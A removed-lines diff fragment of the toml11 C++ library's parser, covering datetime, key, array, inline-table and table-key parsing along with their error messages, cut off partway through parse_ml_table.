-{ - const auto first = loc.iter(); - if(const auto token = lex_local_date_time::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - const auto date = parse_local_date(inner_loc); - if(!date || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_local_datetime: invalid datetime format", - {{source_location(inner_loc), "date, not datetime"}}), - source_location(inner_loc)); - } - const char delim = *(inner_loc.iter()); - if(delim != 'T' && delim != 't' && delim != ' ') - { - throw internal_error(format_underline( - "toml::parse_local_datetime: invalid datetime format", - {{source_location(inner_loc), "should be `T` or ` ` (space)"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto time = parse_local_time(inner_loc); - if(!time) - { - throw internal_error(format_underline( - "toml::parse_local_datetime: invalid datetime format", - {{source_location(inner_loc), "invalid time format"}}), - source_location(inner_loc)); - } - return ok(std::make_pair( - local_datetime(date.unwrap().first, time.unwrap().first), - token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_local_datetime: ", - {{source_location(loc), "the next token is not a local_datetime"}})); - } -} - -inline result, std::string> -parse_offset_datetime(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_offset_date_time::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - const auto datetime = parse_local_datetime(inner_loc); - if(!datetime || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_offset_datetime: invalid datetime format", - {{source_location(inner_loc), "date, not datetime"}}), - source_location(inner_loc)); - } - time_offset offset(0, 0); - if(const auto ofs = lex_time_numoffset::invoke(inner_loc)) - { - const auto str = ofs.unwrap().str(); - - const auto hour = from_string(str.substr(1,2), 0); - const auto minute = from_string(str.substr(4,2), 0); - - if((hour < 0 || 23 < hour) || (minute < 0 || 59 < minute)) - { - throw syntax_error(format_underline("toml::parse_offset_datetime: " - "invalid offset: it does not conform RFC3339.", {{ - source_location(loc), "month should be 01-12, day should be" - " 01-28,29,30,31, depending on month/year." - }}), source_location(inner_loc)); - } - - if(str.front() == '+') - { - offset = time_offset(hour, minute); - } - else - { - offset = time_offset(-hour, -minute); - } - } - else if(*inner_loc.iter() != 'Z' && *inner_loc.iter() != 'z') - { - throw internal_error(format_underline( - "toml::parse_offset_datetime: invalid datetime format", - {{source_location(inner_loc), "should be `Z` or `+HH:MM`"}}), - source_location(inner_loc)); - } - return ok(std::make_pair(offset_datetime(datetime.unwrap().first, offset), - token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_offset_datetime: ", - {{source_location(loc), "the next token is not a offset_datetime"}})); - } -} - -inline result, std::string> -parse_simple_key(location& loc) -{ - if(const auto bstr = parse_basic_string(loc)) - { - return ok(std::make_pair(bstr.unwrap().first.str, bstr.unwrap().second)); - } - if(const auto lstr = parse_literal_string(loc)) - { - return ok(std::make_pair(lstr.unwrap().first.str, lstr.unwrap().second)); - } - if(const auto bare = lex_unquoted_key::invoke(loc)) - { - const auto reg = bare.unwrap(); - return ok(std::make_pair(reg.str(), reg)); - } - return err(format_underline("toml::parse_simple_key: ", - {{source_location(loc), "the next token is not a simple key"}})); -} - -// dotted key become vector of keys -inline result, region>, std::string> -parse_key(location& loc) -{ - const auto first = loc.iter(); - // dotted key -> `foo.bar.baz` where several single keys are chained by - // dots. Whitespaces between keys and dots are allowed. - if(const auto token = lex_dotted_key::invoke(loc)) - { - const auto reg = token.unwrap(); - location inner_loc(loc.name(), reg.str()); - std::vector keys; - - while(inner_loc.iter() != inner_loc.end()) - { - lex_ws::invoke(inner_loc); - if(const auto k = parse_simple_key(inner_loc)) - { - keys.push_back(k.unwrap().first); - } - else - { - throw internal_error(format_underline( - "toml::detail::parse_key: dotted key contains invalid key", - {{source_location(inner_loc), k.unwrap_err()}}), - source_location(inner_loc)); - } - - lex_ws::invoke(inner_loc); - if(inner_loc.iter() == inner_loc.end()) - { - break; - } - else if(*inner_loc.iter() == '.') - { - inner_loc.advance(); // to skip `.` - } - else - { - throw internal_error(format_underline("toml::parse_key: " - "dotted key contains invalid key ", - {{source_location(inner_loc), "should be `.`"}}), - source_location(inner_loc)); - } - } - return ok(std::make_pair(keys, reg)); - } - loc.reset(first); - - // simple_key: a single (basic_string|literal_string|bare key) - if(const auto smpl = parse_simple_key(loc)) - { - return ok(std::make_pair(std::vector(1, smpl.unwrap().first), - smpl.unwrap().second)); - } - return err(format_underline("toml::parse_key: an invalid key appeared.", - {{source_location(loc), "is not a valid key"}}, { - "bare keys : non-empty strings composed only of [A-Za-z0-9_-].", - "quoted keys: same as \"basic strings\" or 'literal strings'.", - "dotted keys: sequence of bare or quoted keys joined with a dot." - })); -} - -// forward-decl to implement parse_array and parse_table -template -result parse_value(location&); - -template -result, std::string> -parse_array(location& loc) -{ - using value_type = Value; - using array_type = typename value_type::array_type; - - const auto first = loc.iter(); - if(loc.iter() == loc.end()) - { - return err("toml::parse_array: input is empty"); - } - if(*loc.iter() != '[') - { - return err("toml::parse_array: token is not an array"); - } - loc.advance(); - - using lex_ws_comment_newline = repeat< - either, unlimited>; - - array_type retval; - while(loc.iter() != loc.end()) - { - lex_ws_comment_newline::invoke(loc); // skip - - if(loc.iter() != loc.end() && *loc.iter() == ']') - { - loc.advance(); // skip ']' - return ok(std::make_pair(retval, - region(loc, first, loc.iter()))); - } - - if(auto val = parse_value(loc)) - { - // After TOML v1.0.0-rc.1, array becomes to be able to have values - // with different types. So here we will omit this by default. - // - // But some of the test-suite checks if the parser accepts a hetero- - // geneous arrays, so we keep this for a while. -#ifdef TOML11_DISALLOW_HETEROGENEOUS_ARRAYS - if(!retval.empty() && retval.front().type() != val.as_ok().type()) - { - auto array_start_loc = loc; - array_start_loc.reset(first); - - throw syntax_error(format_underline("toml::parse_array: " - "type of elements should be the same each other.", { - {source_location(array_start_loc), "array starts here"}, - { - retval.front().location(), - "value has type " + stringize(retval.front().type()) - }, - { - val.unwrap().location(), - "value has different type, " + stringize(val.unwrap().type()) - } - }), source_location(loc)); - } -#endif - retval.push_back(std::move(val.unwrap())); - } - else - { - auto array_start_loc = loc; - array_start_loc.reset(first); - - throw syntax_error(format_underline("toml::parse_array: " - "value having invalid format appeared in an array", { - {source_location(array_start_loc), "array starts here"}, - {source_location(loc), "it is not a valid value."} - }), source_location(loc)); - } - - using lex_array_separator = sequence, character<','>>; - const auto sp = lex_array_separator::invoke(loc); - if(!sp) - { - lex_ws_comment_newline::invoke(loc); - if(loc.iter() != loc.end() && *loc.iter() == ']') - { - loc.advance(); // skip ']' - return ok(std::make_pair(retval, - region(loc, first, loc.iter()))); - } - else - { - auto array_start_loc = loc; - array_start_loc.reset(first); - - throw syntax_error(format_underline("toml::parse_array:" - " missing array separator `,` after a value", { - {source_location(array_start_loc), "array starts here"}, - {source_location(loc), "should be `,`"} - }), source_location(loc)); - } - } - } - loc.reset(first); - throw syntax_error(format_underline("toml::parse_array: " - "array did not closed by `]`", - {{source_location(loc), "should be closed"}}), - source_location(loc)); -} - -template -result, region>, Value>, std::string> -parse_key_value_pair(location& loc) -{ - using value_type = Value; - - const auto first = loc.iter(); - auto key_reg = parse_key(loc); - if(!key_reg) - { - std::string msg = std::move(key_reg.unwrap_err()); - // if the next token is keyvalue-separator, it means that there are no - // key. then we need to show error as "empty key is not allowed". - if(const auto keyval_sep = lex_keyval_sep::invoke(loc)) - { - loc.reset(first); - msg = format_underline("toml::parse_key_value_pair: " - "empty key is not allowed.", - {{source_location(loc), "key expected before '='"}}); - } - return err(std::move(msg)); - } - - const auto kvsp = lex_keyval_sep::invoke(loc); - if(!kvsp) - { - std::string msg; - // if the line contains '=' after the invalid sequence, possibly the - // error is in the key (like, invalid character in bare key). - const auto line_end = std::find(loc.iter(), loc.end(), '\n'); - if(std::find(loc.iter(), line_end, '=') != line_end) - { - msg = format_underline("toml::parse_key_value_pair: " - "invalid format for key", - {{source_location(loc), "invalid character in key"}}, - {"Did you forget '.' to separate dotted-key?", - "Allowed characters for bare key are [0-9a-zA-Z_-]."}); - } - else // if not, the error is lack of key-value separator. - { - msg = format_underline("toml::parse_key_value_pair: " - "missing key-value separator `=`", - {{source_location(loc), "should be `=`"}}); - } - loc.reset(first); - return err(std::move(msg)); - } - - const auto after_kvsp = loc.iter(); // err msg - auto val = parse_value(loc); - if(!val) - { - std::string msg; - loc.reset(after_kvsp); - // check there is something not a comment/whitespace after `=` - if(sequence, maybe, lex_newline>::invoke(loc)) - { - loc.reset(after_kvsp); - msg = format_underline("toml::parse_key_value_pair: " - "missing value after key-value separator '='", - {{source_location(loc), "expected value, but got nothing"}}); - } - else // there is something not a comment/whitespace, so invalid format. - { - msg = std::move(val.unwrap_err()); - } - loc.reset(first); - return err(msg); - } - return ok(std::make_pair(std::move(key_reg.unwrap()), - std::move(val.unwrap()))); -} - -// for error messages. -template -std::string format_dotted_keys(InputIterator first, const InputIterator last) -{ - static_assert(std::is_same::value_type>::value,""); - - std::string retval(*first++); - for(; first != last; ++first) - { - retval += '.'; - retval += *first; - } - return retval; -} - -// forward decl for is_valid_forward_table_definition -result, region>, std::string> -parse_table_key(location& loc); -template -result, std::string> -parse_inline_table(location& loc); - -// The following toml file is allowed. -// ```toml -// [a.b.c] # here, table `a` has element `b`. -// foo = "bar" -// [a] # merge a = {baz = "qux"} to a = {b = {...}} -// baz = "qux" -// ``` -// But the following is not allowed. -// ```toml -// [a] -// b.c.foo = "bar" -// [a] # error! the same table [a] defined! -// baz = "qux" -// ``` -// The following is neither allowed. -// ```toml -// a = { b.c.foo = "bar"} -// [a] # error! the same table [a] defined! -// baz = "qux" -// ``` -// Here, it parses region of `tab->at(k)` as a table key and check the depth -// of the key. If the key region points deeper node, it would be allowed. -// Otherwise, the key points the same node. It would be rejected. -template -bool is_valid_forward_table_definition(const Value& fwd, const Value& inserting, - Iterator key_first, Iterator key_curr, Iterator key_last) -{ - // ------------------------------------------------------------------------ - // check type of the value to be inserted/merged - - std::string inserting_reg = ""; - if(const auto ptr = detail::get_region(inserting)) - { - inserting_reg = ptr->str(); - } - location inserting_def("internal", std::move(inserting_reg)); - if(const auto inlinetable = parse_inline_table(inserting_def)) - { - // check if we are overwriting existing table. - // ```toml - // # NG - // a.b = 42 - // a = {d = 3.14} - // ``` - // Inserting an inline table to a existing super-table is not allowed in - // any case. If we found it, we can reject it without further checking. - return false; - } - - // ------------------------------------------------------------------------ - // check table defined before - - std::string internal = ""; - if(const auto ptr = detail::get_region(fwd)) - { - internal = ptr->str(); - } - location def("internal", std::move(internal)); - if(const auto tabkeys = parse_table_key(def)) // [table.key] - { - // table keys always contains all the nodes from the root. - const auto& tks = tabkeys.unwrap().first; - if(std::size_t(std::distance(key_first, key_last)) == tks.size() && - std::equal(tks.begin(), tks.end(), key_first)) - { - // the keys are equivalent. it is not allowed. - return false; - } - // the keys are not equivalent. it is allowed. - return true; - } - if(const auto dotkeys = parse_key(def)) - { - // consider the following case. - // [a] - // b.c = {d = 42} - // [a.b.c] - // e = 2.71 - // this defines the table [a.b.c] twice. no? - - // a dotted key starts from the node representing a table in which the - // dotted key belongs to. - const auto& dks = dotkeys.unwrap().first; - if(std::size_t(std::distance(key_curr, key_last)) == dks.size() && - std::equal(dks.begin(), dks.end(), key_curr)) - { - // the keys are equivalent. it is not allowed. - return false; - } - // the keys are not equivalent. it is allowed. - return true; - } - return false; -} - -template -result -insert_nested_key(typename Value::table_type& root, const Value& v, - InputIterator iter, const InputIterator last, - region key_reg, - const bool is_array_of_table = false) -{ - static_assert(std::is_same::value_type>::value,""); - - using value_type = Value; - using table_type = typename value_type::table_type; - using array_type = typename value_type::array_type; - - const auto first = iter; - assert(iter != last); - - table_type* tab = std::addressof(root); - for(; iter != last; ++iter) // search recursively - { - const key& k = *iter; - if(std::next(iter) == last) // k is the last key - { - // XXX if the value is array-of-tables, there can be several - // tables that are in the same array. in that case, we need to - // find the last element and insert it to there. - if(is_array_of_table) - { - if(tab->count(k) == 1) // there is already an array of table - { - if(tab->at(k).is_table()) - { - // show special err msg for conflicting table - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), - "\") cannot be defined"), { - {tab->at(k).location(), "table already defined"}, - {v.location(), "this conflicts with the previous table"} - }), v.location()); - } - else if(!(tab->at(k).is_array())) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), "\") collides with" - " existing value"), { - {tab->at(k).location(), - concat_to_string("this ", tab->at(k).type(), - " value already exists")}, - {v.location(), - "while inserting this array-of-tables"} - }), v.location()); - } - // the above if-else-if checks tab->at(k) is an array - auto& a = tab->at(k).as_array(); - // If table element is defined as [[array_of_tables]], it - // cannot be an empty array. If an array of tables is - // defined as `aot = []`, it cannot be appended. - if(a.empty() || !(a.front().is_table())) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), "\") collides with" - " existing value"), { - {tab->at(k).location(), - concat_to_string("this ", tab->at(k).type(), - " value already exists")}, - {v.location(), - "while inserting this array-of-tables"} - }), v.location()); - } - // avoid conflicting array of table like the following. - // ```toml - // a = [{b = 42}] # define a as an array of *inline* tables - // [[a]] # a is an array of *multi-line* tables - // b = 54 - // ``` - // Here, from the type information, these cannot be detected - // because inline table is also a table. - // But toml v0.5.0 explicitly says it is invalid. The above - // array-of-tables has a static size and appending to the - // array is invalid. - // In this library, multi-line table value has a region - // that points to the key of the table (e.g. [[a]]). By - // comparing the first two letters in key, we can detect - // the array-of-table is inline or multiline. - if(const auto ptr = detail::get_region(a.front())) - { - if(ptr->str().substr(0,2) != "[[") - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), "\") collides " - "with existing array-of-tables"), { - {tab->at(k).location(), - concat_to_string("this ", tab->at(k).type(), - " value has static size")}, - {v.location(), - "appending it to the statically sized array"} - }), v.location()); - } - } - a.push_back(v); - return ok(true); - } - else // if not, we need to create the array of table - { - // XXX: Consider the following array of tables. - // ```toml - // # This is a comment. - // [[aot]] - // foo = "bar" - // ``` - // Here, the comment is for `aot`. But here, actually two - // values are defined. An array that contains tables, named - // `aot`, and the 0th element of the `aot`, `{foo = "bar"}`. - // Those two are different from each other. But both of them - // points to the same portion of the TOML file, `[[aot]]`, - // so `key_reg.comments()` returns `# This is a comment`. - // If it is assigned as a comment of `aot` defined here, the - // comment will be duplicated. Both the `aot` itself and - // the 0-th element will have the same comment. This causes - // "duplication of the same comments" bug when the data is - // serialized. - // Next, consider the following. - // ```toml - // # comment 1 - // aot = [ - // # comment 2 - // {foo = "bar"}, - // ] - // ``` - // In this case, we can distinguish those two comments. So - // here we need to add "comment 1" to the `aot` and - // "comment 2" to the 0th element of that. - // To distinguish those two, we check the key region. - std::vector comments{/* empty by default */}; - if(key_reg.str().substr(0, 2) != "[[") - { - comments = key_reg.comments(); - } - value_type aot(array_type(1, v), key_reg, std::move(comments)); - tab->insert(std::make_pair(k, aot)); - return ok(true); - } - } // end if(array of table) - - if(tab->count(k) == 1) - { - if(tab->at(k).is_table() && v.is_table()) - { - if(!is_valid_forward_table_definition( - tab->at(k), v, first, iter, last)) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: table (\"", - format_dotted_keys(first, last), - "\") already exists."), { - {tab->at(k).location(), "table already exists here"}, - {v.location(), "table defined twice"} - }), v.location()); - } - // to allow the following toml file. - // [a.b.c] - // d = 42 - // [a] - // e = 2.71 - auto& t = tab->at(k).as_table(); - for(const auto& kv : v.as_table()) - { - if(tab->at(k).contains(kv.first)) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: value (\"", - format_dotted_keys(first, last), - "\") already exists."), { - {t.at(kv.first).location(), "already exists here"}, - {v.location(), "this defined twice"} - }), v.location()); - } - t[kv.first] = kv.second; - } - detail::change_region(tab->at(k), key_reg); - return ok(true); - } - else if(v.is_table() && - tab->at(k).is_array() && - tab->at(k).as_array().size() > 0 && - tab->at(k).as_array().front().is_table()) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of tables (\"", - format_dotted_keys(first, last), "\") already exists."), { - {tab->at(k).location(), "array of tables defined here"}, - {v.location(), "table conflicts with the previous array of table"} - }), v.location()); - } - else - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: value (\"", - format_dotted_keys(first, last), "\") already exists."), { - {tab->at(k).location(), "value already exists here"}, - {v.location(), "value defined twice"} - }), v.location()); - } - } - tab->insert(std::make_pair(k, v)); - return ok(true); - } - else // k is not the last one, we should insert recursively - { - // if there is no corresponding value, insert it first. - // related: you don't need to write - // # [x] - // # [x.y] - // to write - // [x.y.z] - if(tab->count(k) == 0) - { - // a table that is defined implicitly doesn't have any comments. - (*tab)[k] = value_type(table_type{}, key_reg, {/*no comment*/}); - } - - // type checking... - if(tab->at(k).is_table()) - { - // According to toml-lang/toml:36d3091b3 "Clarify that inline - // tables are immutable", check if it adds key-value pair to an - // inline table. - if(const auto* ptr = get_region(tab->at(k))) - { - // here, if the value is a (multi-line) table, the region - // should be something like `[table-name]`. - if(ptr->front() == '{') - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: inserting to an inline table (", - format_dotted_keys(first, std::next(iter)), - ") but inline tables are immutable"), { - {tab->at(k).location(), "inline tables are immutable"}, - {v.location(), "inserting this"} - }), v.location()); - } - } - tab = std::addressof((*tab)[k].as_table()); - } - else if(tab->at(k).is_array()) // inserting to array-of-tables? - { - auto& a = (*tab)[k].as_array(); - if(!a.back().is_table()) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: target (", - format_dotted_keys(first, std::next(iter)), - ") is neither table nor an array of tables"), { - {a.back().location(), concat_to_string( - "actual type is ", a.back().type())}, - {v.location(), "inserting this"} - }), v.location()); - } - tab = std::addressof(a.back().as_table()); - } - else - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: target (", - format_dotted_keys(first, std::next(iter)), - ") is neither table nor an array of tables"), { - {tab->at(k).location(), concat_to_string( - "actual type is ", tab->at(k).type())}, - {v.location(), "inserting this"} - }), v.location()); - } - } - } - return err(std::string("toml::detail::insert_nested_key: never reach here")); -} - -template -result, std::string> -parse_inline_table(location& loc) -{ - using value_type = Value; - using table_type = typename value_type::table_type; - - const auto first = loc.iter(); - table_type retval; - if(!(loc.iter() != loc.end() && *loc.iter() == '{')) - { - return err(format_underline("toml::parse_inline_table: ", - {{source_location(loc), "the next token is not an inline table"}})); - } - loc.advance(); - - // check if the inline table is an empty table = { } - maybe::invoke(loc); - if(loc.iter() != loc.end() && *loc.iter() == '}') - { - loc.advance(); // skip `}` - return ok(std::make_pair(retval, region(loc, first, loc.iter()))); - } - - // it starts from "{". it should be formatted as inline-table - while(loc.iter() != loc.end()) - { - const auto kv_r = parse_key_value_pair(loc); - if(!kv_r) - { - return err(kv_r.unwrap_err()); - } - - const auto& kvpair = kv_r.unwrap(); - const std::vector& keys = kvpair.first.first; - const auto& key_reg = kvpair.first.second; - const value_type& val = kvpair.second; - - const auto inserted = - insert_nested_key(retval, val, keys.begin(), keys.end(), key_reg); - if(!inserted) - { - throw internal_error("toml::parse_inline_table: " - "failed to insert value into table: " + inserted.unwrap_err(), - source_location(loc)); - } - - using lex_table_separator = sequence, character<','>>; - const auto sp = lex_table_separator::invoke(loc); - - if(!sp) - { - maybe::invoke(loc); - - if(loc.iter() == loc.end()) - { - throw syntax_error(format_underline( - "toml::parse_inline_table: missing table separator `}` ", - {{source_location(loc), "should be `}`"}}), - source_location(loc)); - } - else if(*loc.iter() == '}') - { - loc.advance(); // skip `}` - return ok(std::make_pair( - retval, region(loc, first, loc.iter()))); - } - else if(*loc.iter() == '#' || *loc.iter() == '\r' || *loc.iter() == '\n') - { - throw syntax_error(format_underline( - "toml::parse_inline_table: missing curly brace `}`", - {{source_location(loc), "should be `}`"}}), - source_location(loc)); - } - else - { - throw syntax_error(format_underline( - "toml::parse_inline_table: missing table separator `,` ", - {{source_location(loc), "should be `,`"}}), - source_location(loc)); - } - } - else // `,` is found - { - maybe::invoke(loc); - if(loc.iter() != loc.end() && *loc.iter() == '}') - { - throw syntax_error(format_underline( - "toml::parse_inline_table: trailing comma is not allowed in" - " an inline table", - {{source_location(loc), "should be `}`"}}), - source_location(loc)); - } - } - } - loc.reset(first); - throw syntax_error(format_underline("toml::parse_inline_table: " - "inline table did not closed by `}`", - {{source_location(loc), "should be closed"}}), - source_location(loc)); -} - -inline result guess_number_type(const location& l) -{ - // This function tries to find some (common) mistakes by checking characters - // that follows the last character of a value. But it is often difficult - // because some non-newline characters can appear after a value. E.g. - // spaces, tabs, commas (in an array or inline table), closing brackets - // (of an array or inline table), comment-sign (#). Since this function - // does not parse further, those characters are always allowed to be there. - location loc = l; - - if(lex_offset_date_time::invoke(loc)) {return ok(value_t::offset_datetime);} - loc.reset(l.iter()); - - if(lex_local_date_time::invoke(loc)) - { - // bad offset may appear after this. - if(loc.iter() != loc.end() && (*loc.iter() == '+' || *loc.iter() == '-' - || *loc.iter() == 'Z' || *loc.iter() == 'z')) - { - return err(format_underline("bad offset: should be [+-]HH:MM or Z", - {{source_location(loc), "[+-]HH:MM or Z"}}, - {"pass: +09:00, -05:30", "fail: +9:00, -5:30"})); - } - return ok(value_t::local_datetime); - } - loc.reset(l.iter()); - - if(lex_local_date::invoke(loc)) - { - // bad time may appear after this. - // A space is allowed as a delimiter between local time. But there are - // both cases in which a space becomes valid or invalid. - // - invalid: 2019-06-16 7:00:00 - // - valid : 2019-06-16 07:00:00 - if(loc.iter() != loc.end()) - { - const auto c = *loc.iter(); - if(c == 'T' || c == 't') - { - return err(format_underline("bad time: should be HH:MM:SS.subsec", - {{source_location(loc), "HH:MM:SS.subsec"}}, - {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999", - "fail: 1979-05-27T7:32:00, 1979-05-27 17:32"})); - } - if('0' <= c && c <= '9') - { - return err(format_underline("bad time: missing T", - {{source_location(loc), "T or space required here"}}, - {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999", - "fail: 1979-05-27T7:32:00, 1979-05-27 7:32"})); - } - if(c == ' ' && std::next(loc.iter()) != loc.end() && - ('0' <= *std::next(loc.iter()) && *std::next(loc.iter())<= '9')) - { - loc.advance(); - return err(format_underline("bad time: should be HH:MM:SS.subsec", - {{source_location(loc), "HH:MM:SS.subsec"}}, - {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999", - "fail: 1979-05-27T7:32:00, 1979-05-27 7:32"})); - } - } - return ok(value_t::local_date); - } - loc.reset(l.iter()); - - if(lex_local_time::invoke(loc)) {return ok(value_t::local_time);} - loc.reset(l.iter()); - - if(lex_float::invoke(loc)) - { - if(loc.iter() != loc.end() && *loc.iter() == '_') - { - return err(format_underline("bad float: `_` should be surrounded by digits", - {{source_location(loc), "here"}}, - {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan", - "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"})); - } - return ok(value_t::floating); - } - loc.reset(l.iter()); - - if(lex_integer::invoke(loc)) - { - if(loc.iter() != loc.end()) - { - const auto c = *loc.iter(); - if(c == '_') - { - return err(format_underline("bad integer: `_` should be surrounded by digits", - {{source_location(loc), "here"}}, - {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755", - "fail: 1__000, 0123"})); - } - if('0' <= c && c <= '9') - { - // leading zero. point '0' - loc.retrace(); - return err(format_underline("bad integer: leading zero", - {{source_location(loc), "here"}}, - {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755", - "fail: 1__000, 0123"})); - } - if(c == ':' || c == '-') - { - return err(format_underline("bad datetime: invalid format", - {{source_location(loc), "here"}}, - {"pass: 1979-05-27T07:32:00-07:00, 1979-05-27 07:32:00.999999Z", - "fail: 1979-05-27T7:32:00-7:00, 1979-05-27 7:32-00:30"})); - } - if(c == '.' || c == 'e' || c == 'E') - { - return err(format_underline("bad float: invalid format", - {{source_location(loc), "here"}}, - {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan", - "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"})); - } - } - return ok(value_t::integer); - } - if(loc.iter() != loc.end() && *loc.iter() == '.') - { - return err(format_underline("bad float: invalid format", - {{source_location(loc), "integer part required before this"}}, - {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan", - "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"})); - } - if(loc.iter() != loc.end() && *loc.iter() == '_') - { - return err(format_underline("bad number: `_` should be surrounded by digits", - {{source_location(loc), "`_` is not surrounded by digits"}}, - {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755", - "fail: 1__000, 0123"})); - } - return err(format_underline("bad format: unknown value appeared", - {{source_location(loc), "here"}})); -} - -inline result guess_value_type(const location& loc) -{ - switch(*loc.iter()) - { - case '"' : {return ok(value_t::string); } - case '\'': {return ok(value_t::string); } - case 't' : {return ok(value_t::boolean); } - case 'f' : {return ok(value_t::boolean); } - case '[' : {return ok(value_t::array); } - case '{' : {return ok(value_t::table); } - case 'i' : {return ok(value_t::floating);} // inf. - case 'n' : {return ok(value_t::floating);} // nan. - default : {return guess_number_type(loc);} - } -} - -template -result -parse_value_helper(result, std::string> rslt) -{ - if(rslt.is_ok()) - { - auto comments = rslt.as_ok().second.comments(); - return ok(Value(std::move(rslt.as_ok()), std::move(comments))); - } - else - { - return err(std::move(rslt.as_err())); - } -} - -template -result parse_value(location& loc) -{ - const auto first = loc.iter(); - if(first == loc.end()) - { - return err(format_underline("toml::parse_value: input is empty", - {{source_location(loc), ""}})); - } - - const auto type = guess_value_type(loc); - if(!type) - { - return err(type.unwrap_err()); - } - - switch(type.unwrap()) - { - case value_t::boolean : {return parse_value_helper(parse_boolean(loc) );} - case value_t::integer : {return parse_value_helper(parse_integer(loc) );} - case value_t::floating : {return parse_value_helper(parse_floating(loc) );} - case value_t::string : {return parse_value_helper(parse_string(loc) );} - case value_t::offset_datetime: {return parse_value_helper(parse_offset_datetime(loc) );} - case value_t::local_datetime : {return parse_value_helper(parse_local_datetime(loc) );} - case value_t::local_date : {return parse_value_helper(parse_local_date(loc) );} - case value_t::local_time : {return parse_value_helper(parse_local_time(loc) );} - case value_t::array : {return parse_value_helper(parse_array(loc) );} - case value_t::table : {return parse_value_helper(parse_inline_table(loc));} - default: - { - const auto msg = format_underline("toml::parse_value: " - "unknown token appeared", {{source_location(loc), "unknown"}}); - loc.reset(first); - return err(msg); - } - } -} - -inline result, region>, std::string> -parse_table_key(location& loc) -{ - if(auto token = lex_std_table::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_std_table_open::invoke(inner_loc); - if(!open || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_table_key: no `[`", - {{source_location(inner_loc), "should be `[`"}}), - source_location(inner_loc)); - } - // to skip [ a . b . c ] - // ^----------- this whitespace - lex_ws::invoke(inner_loc); - const auto keys = parse_key(inner_loc); - if(!keys) - { - throw internal_error(format_underline( - "toml::parse_table_key: invalid key", - {{source_location(inner_loc), "not key"}}), - source_location(inner_loc)); - } - // to skip [ a . b . c ] - // ^-- this whitespace - lex_ws::invoke(inner_loc); - const auto close = lex_std_table_close::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "toml::parse_table_key: no `]`", - {{source_location(inner_loc), "should be `]`"}}), - source_location(inner_loc)); - } - - // after [table.key], newline or EOF(empty table) required. - if(loc.iter() != loc.end()) - { - using lex_newline_after_table_key = - sequence, maybe, lex_newline>; - const auto nl = lex_newline_after_table_key::invoke(loc); - if(!nl) - { - throw syntax_error(format_underline( - "toml::parse_table_key: newline required after [table.key]", - {{source_location(loc), "expected newline"}}), - source_location(loc)); - } - } - return ok(std::make_pair(keys.unwrap().first, token.unwrap())); - } - else - { - return err(format_underline("toml::parse_table_key: " - "not a valid table key", {{source_location(loc), "here"}})); - } -} - -inline result, region>, std::string> -parse_array_table_key(location& loc) -{ - if(auto token = lex_array_table::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_array_table_open::invoke(inner_loc); - if(!open || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_array_table_key: no `[[`", - {{source_location(inner_loc), "should be `[[`"}}), - source_location(inner_loc)); - } - lex_ws::invoke(inner_loc); - const auto keys = parse_key(inner_loc); - if(!keys) - { - throw internal_error(format_underline( - "toml::parse_array_table_key: invalid key", - {{source_location(inner_loc), "not a key"}}), - source_location(inner_loc)); - } - lex_ws::invoke(inner_loc); - const auto close = lex_array_table_close::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "toml::parse_table_key: no `]]`", - {{source_location(inner_loc), "should be `]]`"}}), - source_location(inner_loc)); - } - - // after [[table.key]], newline or EOF(empty table) required. - if(loc.iter() != loc.end()) - { - using lex_newline_after_table_key = - sequence, maybe, lex_newline>; - const auto nl = lex_newline_after_table_key::invoke(loc); - if(!nl) - { - throw syntax_error(format_underline("toml::" - "parse_array_table_key: newline required after [[table.key]]", - {{source_location(loc), "expected newline"}}), - source_location(loc)); - } - } - return ok(std::make_pair(keys.unwrap().first, token.unwrap())); - } - else - { - return err(format_underline("toml::parse_array_table_key: " - "not a valid table key", {{source_location(loc), "here"}})); - } -} - -// parse table body (key-value pairs until the iter hits the next [tablekey]) -template -result -parse_ml_table(location& loc) -{ - using value_type = Value; - using table_type = typename value_type::table_type; - - const auto first = loc.iter(); - if(first == loc.end()) - { - return ok(table_type{}); - } - - // XXX at lest one newline is needed. - using skip_line = repeat< - sequence, maybe, lex_newline>, at_least<1>>; - 